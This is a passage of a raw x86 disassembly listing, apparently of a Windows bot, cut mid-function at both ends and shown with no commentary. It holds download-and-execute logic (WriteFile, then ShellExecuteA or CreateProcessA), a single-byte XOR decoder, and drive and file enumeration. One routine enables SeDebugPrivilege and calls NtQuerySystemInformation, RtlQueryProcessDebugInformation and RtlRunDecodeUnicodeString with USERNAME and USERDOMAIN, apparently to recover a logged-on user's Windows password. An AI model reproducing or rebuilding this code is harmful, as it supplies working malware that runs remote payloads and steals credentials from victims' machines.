loc_416A9A:				; CODE XREF: sub_416975+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4280E0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_416AD8
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_416AC2
		mov	eax, [ebp+arg_0]


loc_416AC2:				; CODE XREF: sub_416975+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch


loc_416AD8:				; CODE XREF: sub_416975+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_416AE5
		cmp	edi, [ebp+var_3C]
		ja	short loc_416B24


loc_416AE5:				; CODE XREF: sub_416975+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_440998
		cmp	[ebp+var_44], 1
		jz	short loc_416B0D
		push	offset unk_43A47C
		jmp	short loc_416B12
; ---------------------------------------------------------------------------


loc_416B0D:				; CODE XREF: sub_416975+18Fj
		push	offset unk_43A454


loc_416B12:				; CODE XREF: sub_416975+196j
		push	eax
		call	sub_41C056
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_416A56


loc_416B24:				; CODE XREF: sub_416975+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_416B79
		cmp	edi, [ebp+var_3C]
		jz	short loc_416B79
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_43A428
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409982
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4157A5
		add	esp, 28h


loc_416B79:				; CODE XREF: sub_416975+1B9j
					; sub_416975+1BEj
		call	dword_4280A8	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_42806C	; CloseHandle
		push	[ebp+var_1C]
		call	sub_41B881
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_416C03
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010C2
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_416C03
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_43A400
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409982
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4157A5
		add	esp, 28h


loc_416C03:				; CODE XREF: sub_416975+236j
					; sub_416975+248j
		cmp	[ebp+var_14], esi
		jz	loc_416E3B
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_416CFE
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_4286B0
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_4286B0
		fstp	[esp+590h+var_590]
		push	offset unk_43A3C8
		push	eax
		call	sub_41C056
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416C7E
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409982
		add	esp, 14h


loc_416C7E:				; CODE XREF: sub_416975+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4157A5
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_416E3B
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CDBD0	; ShellExecuteA
		cmp	[ebp+var_30], esi
		jnz	loc_416E3B
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_43A3AC
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409982
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4157A5
		add	esp, 24h
		jmp	loc_416E3B
; ---------------------------------------------------------------------------


loc_416CFE:				; CODE XREF: sub_416975+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_4286B0
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_4286B0
		fstp	[esp+590h+var_590]
		push	offset unk_43A368
		push	eax
		call	sub_41C056
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416D5E
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409982
		add	esp, 14h


loc_416D5E:				; CODE XREF: sub_416975+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4157A5
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BD60
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset byte_43FE14
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_428070	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_416DE0
		call	dword_4CDBBC	; WSACleanup
		call	sub_418A34
		push	esi
		call	dword_428068	; ExitProcess


loc_416DE0:				; CODE XREF: sub_416975+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_43A334
		jmp	short loc_416DFA
; ---------------------------------------------------------------------------


loc_416DEE:				; CODE XREF: sub_416975+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_43A308


loc_416DFA:				; CODE XREF: sub_416975+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416E2E
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409982
		add	esp, 14h


loc_416E2E:				; CODE XREF: sub_416975+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4157A5
		pop	ecx


loc_416E3B:				; CODE XREF: sub_416975+291j
					; sub_416975+31Aj ...
		push	[ebp+var_18]
		call	dword_4CDC98	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40B2A3
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
sub_416975	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416E54	proc near		; CODE XREF: sub_416975+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416E70


loc_416E60:				; CODE XREF: sub_416E54+1Aj
		mov	dl, byte_42A090
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416E60

locret_416E70:				; CODE XREF: sub_416E54+Aj
		retn
sub_416E54	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E71	proc near		; CODE XREF: sub_401B66+5760p
					; sub_401B66+58A2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DBBE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416E71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E8B	proc near		; CODE XREF: sub_4101B7+462p
					; sub_4101B7+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D5964
		push	0
		push	edi
		call	sub_41BD60
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416EB0:				; CODE XREF: sub_416E8B+5Bj
					; sub_416E8B+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DC80
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DC10
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416EEE
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416EB0
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416EB0
; ---------------------------------------------------------------------------


loc_416EEE:				; CODE XREF: sub_416E8B+4Bj
		mov	eax, edi
		jmp	short loc_416EF7
; ---------------------------------------------------------------------------


loc_416EF2:				; CODE XREF: sub_416E8B+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_416EF7:				; CODE XREF: sub_416E8B+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_416EF2
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416E8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F09	proc near		; CODE XREF: sub_4170B5+51p
					; sub_4170B5+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CDCC4	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_416F4C
		dec	eax
		jz	short loc_416F46
		dec	eax
		dec	eax
		jz	short loc_416F40
		dec	eax
		jz	short loc_416F3A
		dec	eax
		jz	short loc_416F34
		dec	eax
		jz	short loc_416F2E
		mov	eax, offset word_43A4F8
		retn
; ---------------------------------------------------------------------------


loc_416F2E:				; CODE XREF: sub_416F09+1Dj
		mov	eax, offset off_43A4F4
		retn
; ---------------------------------------------------------------------------


loc_416F34:				; CODE XREF: sub_416F09+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416F3A:				; CODE XREF: sub_416F09+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416F40:				; CODE XREF: sub_416F09+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416F46:				; CODE XREF: sub_416F09+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416F4C:				; CODE XREF: sub_416F09+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F52	proc near		; CODE XREF: sub_416F9A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CDB54
		test	eax, eax
		jz	short loc_416F87
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_416F87:				; CODE XREF: sub_416F52+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416F52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F9A	proc near		; CODE XREF: sub_4170B5+17p
					; sub_41B1FC+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416F52
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417072
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417072
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417072
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DD00
		push	edx
		push	eax
		call	sub_416E8B
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DD00
		push	edx
		push	eax
		call	sub_416E8B
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DD00
		push	edx
		push	eax
		call	sub_416E8B
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 18h
		pop	ebx
		jmp	short loc_4170A1
; ---------------------------------------------------------------------------


loc_417072:				; CODE XREF: sub_416F9A+2Cj
					; sub_416F9A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C056
		add	esp, 18h


loc_4170A1:				; CODE XREF: sub_416F9A+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416F9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B5	proc near		; CODE XREF: sub_417187+17p
					; sub_417187+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416F9A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C840
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417128
		push	ebx
		push	ebx
		call	sub_416F09
		pop	ecx
		push	eax
		push	offset unk_43A548
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 14h
		jmp	short loc_41715C
; ---------------------------------------------------------------------------


loc_417128:				; CODE XREF: sub_4170B5+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416F09
		pop	ecx
		push	eax
		push	offset unk_43A50C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 20h


loc_41715C:				; CODE XREF: sub_4170B5+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4157A5
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4170B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417187	proc near		; CODE XREF: sub_401B66+24BBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_4171A8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4170B5
		add	esp, 10h
		jmp	short loc_417207
; ---------------------------------------------------------------------------


loc_4171A8:				; CODE XREF: sub_417187+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CDBCC	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41BCA5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CDBCC	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4171FE


loc_4171CC:				; CODE XREF: sub_417187+75j
		push	offset aA_3	; "A:\\"
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4171EF
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4170B5
		add	esp, 10h


loc_4171EF:				; CODE XREF: sub_417187+54j
		push	esi
		call	sub_41B7B0
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_4171CC


loc_4171FE:				; CODE XREF: sub_417187+43j
		push	edi
		call	sub_41B881
		pop	ecx
		pop	edi
		pop	esi


loc_417207:				; CODE XREF: sub_417187+1Fj
		pop	ebx
		pop	ebp
		retn
sub_417187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41720A	proc near		; DATA XREF: sub_401B66+67A3o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41B7B0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_41725F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41B7B0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_41725F:				; CODE XREF: sub_41720A+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_43A5A8
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4172A4
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409982
		add	esp, 14h


loc_4172A4:				; CODE XREF: sub_41720A+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_417322
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset dword_43A588
		push	eax
		call	sub_41C056
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_417302
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409982
		add	esp, 14h


loc_417302:				; CODE XREF: sub_41720A+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_4157A5
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41720A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417322	proc near		; CODE XREF: sub_41720A+B9p
					; sub_417322+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset dword_43A5EC
		push	esi
		push	eax
		call	sub_41C150
		mov	edi, dword_428000
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset dword_42AB08
		jz	short loc_4173DF


loc_41736E:				; CODE XREF: sub_417322+BBj
		test	[ebp+var_144], 10h
		jz	short loc_4173CB
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_417392
		cmp	[ebp+var_117], 0
		jz	short loc_4173CB
		cmp	[ebp+var_117], 2Eh
		jz	short loc_4173CB


loc_417392:				; CODE XREF: sub_417322+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41C150
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417322
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_4173CB:				; CODE XREF: sub_417322+53j
					; sub_417322+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_42811C	; FindNextFileA
		test	eax, eax
		jnz	short loc_41736E


loc_4173DF:				; CODE XREF: sub_417322+4Aj
		push	[ebp+var_4]
		call	dword_428110	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417465


loc_417416:				; CODE XREF: sub_417322+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset dword_43A5D0
		push	200h
		push	eax
		call	sub_41C150
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_42811C	; FindNextFileA
		test	eax, eax
		jnz	short loc_417416


loc_417465:				; CODE XREF: sub_417322+F2j
		push	esi
		call	dword_428110	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417322	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417474	proc near		; DATA XREF: sub_401B66+1BF6o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+90h], esi
		call	sub_41B0AF
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_4174B3
		cmp	eax, 2
		jz	short loc_4174B3
		push	offset unk_43A7C8
		jmp	loc_4175F2
; ---------------------------------------------------------------------------


loc_4174B3:				; CODE XREF: sub_417474+2Ej
					; sub_417474+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419E0C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4175ED
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_4280B8	; LoadLibraryA
		mov	esi, dword_4280BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D6BA4, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D6B98, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D6DA8, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D6BA0, eax
		call	esi	; GetProcAddress
		mov	dword_4D6B9C, eax
		call	sub_417646
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4175C0
		mov	esi, dword_428140
		mov	edi, 400h
		mov	ebx, offset dword_4D5B98
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_4D6398
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4D6DAC
		push	[ebp+arg_0]
		jnz	short loc_41756C
		call	sub_4177CF
		jmp	short loc_417571
; ---------------------------------------------------------------------------


loc_41756C:				; CODE XREF: sub_417474+EFj
		call	sub_417973


loc_417571:				; CODE XREF: sub_417474+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4175B9
		cmp	dword_4D6DAC, 0
		jnz	short loc_4175A0
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_43A690
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 18h
		jmp	short loc_4175D3
; ---------------------------------------------------------------------------


loc_4175A0:				; CODE XREF: sub_417474+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4175B0
		call	sub_417AA0
		jmp	short loc_4175B5
; ---------------------------------------------------------------------------


loc_4175B0:				; CODE XREF: sub_417474+133j
		call	sub_417B37


loc_4175B5:				; CODE XREF: sub_417474+13Aj
		pop	ecx
		push	eax
		jmp	short loc_4175C5
; ---------------------------------------------------------------------------


loc_4175B9:				; CODE XREF: sub_417474+101j
		push	offset unk_43A654
		jmp	short loc_4175C5
; ---------------------------------------------------------------------------


loc_4175C0:				; CODE XREF: sub_417474+B6j
		push	offset unk_43A628


loc_4175C5:				; CODE XREF: sub_417474+143j
					; sub_417474+14Aj
